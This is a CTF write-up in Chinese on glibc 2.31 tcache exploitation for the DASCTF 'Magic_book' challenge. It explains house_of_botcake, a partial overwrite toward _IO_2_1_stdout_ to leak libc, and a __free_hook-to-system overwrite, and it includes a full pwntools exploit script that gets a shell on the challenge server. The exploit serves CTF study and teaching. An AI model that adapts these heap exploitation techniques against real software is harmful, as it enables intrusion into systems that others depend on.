tcache七星剑法:留光 ——巧用残留指针劫持tcache链表

tcache七星剑法:留光 ——巧用残留指针劫持tcache链表

去年十月DASCTF的一道题,现在做起来手拿把掐,两个多小时秒了。区区一解题不过如此。

Magic_book

代码审计

题目很简洁,add次数受限:add_count<=0x12,同时size大小限制在0x100之内。free次数无限,但是没有uaf。另外有一个gift函数可以进行一次不清空指针的free

2.31的glibc,还有钩子可以打,万幸万幸。

没有show和edit功能

防护全开不必多言。

思考:如何劫持指针以搭上libc这班车?

这个题没有show功能,非常难搞。

没有show功能的题,要么就是打IO去泄露libc,要么就是直接让libc相关地址在程序内计算,我们只送进去偏移。后者往往是vm pwn这类题的打法,因为这种题型提供了大量低级计算功能且不受次数限制。对于堆题,我们往往去思考如何劫持_IO_2_1_stdin_

这个题的size在tcache范围内。如果你读了上一篇(轮回),你应该能深刻地感受到tcache有一个相较于其他bin的一个特点,那就是里面的东西很容易取出来。
为此我们的思路是尝试劫持tcache的next指针指向libc。

劫持指针的方式可以通过house_of_botcake的方式来应对。相比较于上一期的fastbin_reverse_into_tcache,这个技巧的缺点在于必须size要大于fastbin范围,但是优点在于它对于具有uaf特性的free的次数要求较少,其过程也更加简洁。

简介一下:我们要填满一个tcache,然后释放两个相邻的chunk B和chunk A,其中A的释放不能进入tcache,B必须和先前填满的tcache大小相同,A在B的上面(A地址比B高)。随后释放一个tcache中chunk,利用uaf再次释放B,这样B就同时在tcache中和unsorted bin中(准确的说,是包含在unsorted bin中的一个堆块内)。这时切割unsorted bin中的堆块,申请一个大于A的size的堆块将B的next指针囊括其中,就能造成堆块重叠,进而劫持next指针。

CTF 中 glibc堆利用 及 IO_FILE 总结 这篇文章讲了很多堆攻击技巧,其中也包含了house_of_botcake。如果你觉得我讲的不是很清楚,你可以看这位佬的文章。

好了,指针劫持有了,libc在哪领?

留光 ——巧用残留指针劫持tcache链表

堆段造libc地址,一般思路都是造unsorted bin chunk。这题由于add次数较多,可以通过填满tcache的方式制造unsorted bin chunk。
这里已经是老生常谈了。

我们通过botcake,可以劫持B的指针的时候,可以通过切割unsorted bin的方式。在引发堆块重叠的同时,也能在B中留下一个last reminder chunk,即切割的剩余部分,这里要注意,这个堆块的fd位置是一个libc地址,指向main_arena中,并且这个地方里_IO_2_1_stdout_是非常近的。

(离去之前,留一道光)

B是最后进入tcache的,它一定指向一个堆段中的堆块。我们控制先前填满tcache的堆块,让倒数第二个进入tcache的堆块处于B的附近,这样B的next指针很有可能和last reminder的地址仅仅有最后一个字节不同。这时我们就可以劫持指针到这个last reminder使其进入tcache链表。与此同时,我们再次切割last reminder,覆盖fd的低位字节使其有概率指向_IO_2_1_stdout_(需要爆破,建议关了ASLR去调试),就能让_IO_2_1_stdout_也进入tcache。接下来我们就可以将其取出从而控制flag和write_base。

_IO_2_1_stdout_中的三个read指针可以随便覆盖。无关紧要,这个FILE大概是不会用read相关指针的

需要注意一点,再取last reminder以令其fd产生偏移的时候,一定要
采用切割的方式。如果你直接用相同size取出的话,堆块会 先进入tcache 再从tcache中取出。这就会导致next被覆盖而不再指向_IO_2_1_stdout_

收刀

之后在执行相关IO函数的时候会泄露libc。接下来把这两个重叠的堆块free了再申请就可以再次劫持libc地址了。

再free的时候,B的位置因为之前被写入了新的size,可能会导致size变小(看你如何风水),会进入另一个链表。这时再打free_hook的时候会由于count为0导致取不出来,所以在free之前记得先add一个堆块,free的时候先把这个堆块垫进去。

free_hook填上system就行了。注意先前libc的偏移地址要爆破。

EXP

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
#context.log_level = 'debug'

ELFpath = '/home/wjc/Desktop/pwn'
libcpath='/home/wjc/Desktop/libc'

p=process(ELFpath)
#p = remote('node4.buuoj.cn', 25965)

e = ELF(ELFpath)
libc=ELF(libcpath)


ru=lambda s :p.recvuntil(s)
rut=lambda s,t :p.recvuntil(s,timeout=t)

r=lambda n :p.recv(n)
sal=lambda d,b:p.sendlineafter(d,b)
sa=lambda d,b:p.sendlineafter(d,b)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))


def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))


LOGTOOL = {}


def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s" % (i[0]+":", hex(i[1])))


def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr
    return text_addr, libc_base


def debug():
    text_base, libc_base = get_base(p, 'pwn')
    script = '''
    set $text_base = {}
    set $libc_base = {} 
    b*free
    '''.format(text_base, libc_base)

    # b*puts
    # b* _IO_file_xsputn
    # b mprotect
    # b *($text_base+0x0000000000000000F84)
    # b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    # dprintf *($text_base+0x04441),"%c",$ax
    # dprintf *($text_base+0x04441),"%c",$ax
    # 0x12D5
    # 0x04441
    # b *($text_base+0x0000000000001671)
    gdb.attach(p, script)

def add(size,content):
    ru('Your choice : ')
    sl('1')
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    s(content)

def dele(idx):
    ru('Your choice : ')
    sl('2')
    ru('Index: ')
    sl(str(idx))

def gift(idx):
    ru('Your choice : ')
    sl('9')
    ru('Index: ')
    sl(str(idx))

def pwn():
    add(0x80,'aaa')     #0
    add(0x80,'aaa')     #1

    #2-8
    for i in range(7):
        add(0x80,'aaa')

    dele(8)
    dele(7)
    dele(6)
    dele(5)
    dele(4)
    dele(2)
    dele(3)


    gift(1)
    dele(0)
    
    add(0x80,'aaa')         #9

    dele(1)                 #chunk_1 go into tcache

    add(0xa0,0x88*'a'+p64(0x91)+'\x50')         #10

    # debug()    
    # pause() 

    add(0x50,'\xa0\x46')    #11    

    add(0x80,'aaa')         #12     0x330
    add(0x80,'aaa')         #13     0x350

    pay1=p64(0xfbad1800)+p64(0)*3+'\x00\x00'  
    add(0x80,pay1)           #14

    libcbase=u64(rut('\x7f',0.1)[-6:].ljust(8,'\x00'))-(0x7ffff7e6a820-0x7ffff7dd7000)
    LOGTOOL['libcbase']=libcbase

    free_hook=libcbase+libc.symbols['__free_hook']
    LOGTOOL['free_hook']=free_hook

    onegadget=libcbase+0xe3afe
    LOGTOOL['onegadget']=onegadget

    system_addr=libcbase+libc.symbols['system']
    LOGTOOL['system_addr']=system_addr

    add(0x60,'aaa')       #15
    dele(15)

    dele(13)
    dele(12)

    pay2=p64(0)*3+p64(0x71)+p64(free_hook)
    add(0x80,pay2)          #16

    add(0x60,'/bin/sh\x00')         #17
    add(0x60,p64(system_addr))         #18    
    
    dele(17)
    #LOGALL()
    
    sl('echo winwinwin')
    ru('winwinwin')

    it()    

#pwn()

p.close()
if __name__ == '__main__':
    while True:
        
        try:
            p=remote('node4.buuoj.cn',26915)
            #p=process(ELFpath)
            pwn()
            break
        except:
            p.close()

留光二式

2023.6.6更新

发现一道新题,BUUCTF二进制专项的一道:can_you_find_me。

更新的时候BUU平台寄了,也不知道远程能不能打通。

思路类似,不过这个题的漏洞是off-b-null而非UAF,原理同样是构建堆块重叠。

DASCTF_2023_6_二进制专项 can_you_find_me

posted @ 2023-05-16 10:11  Jmp·Cliff  阅读(123)  评论(0编辑  收藏  举报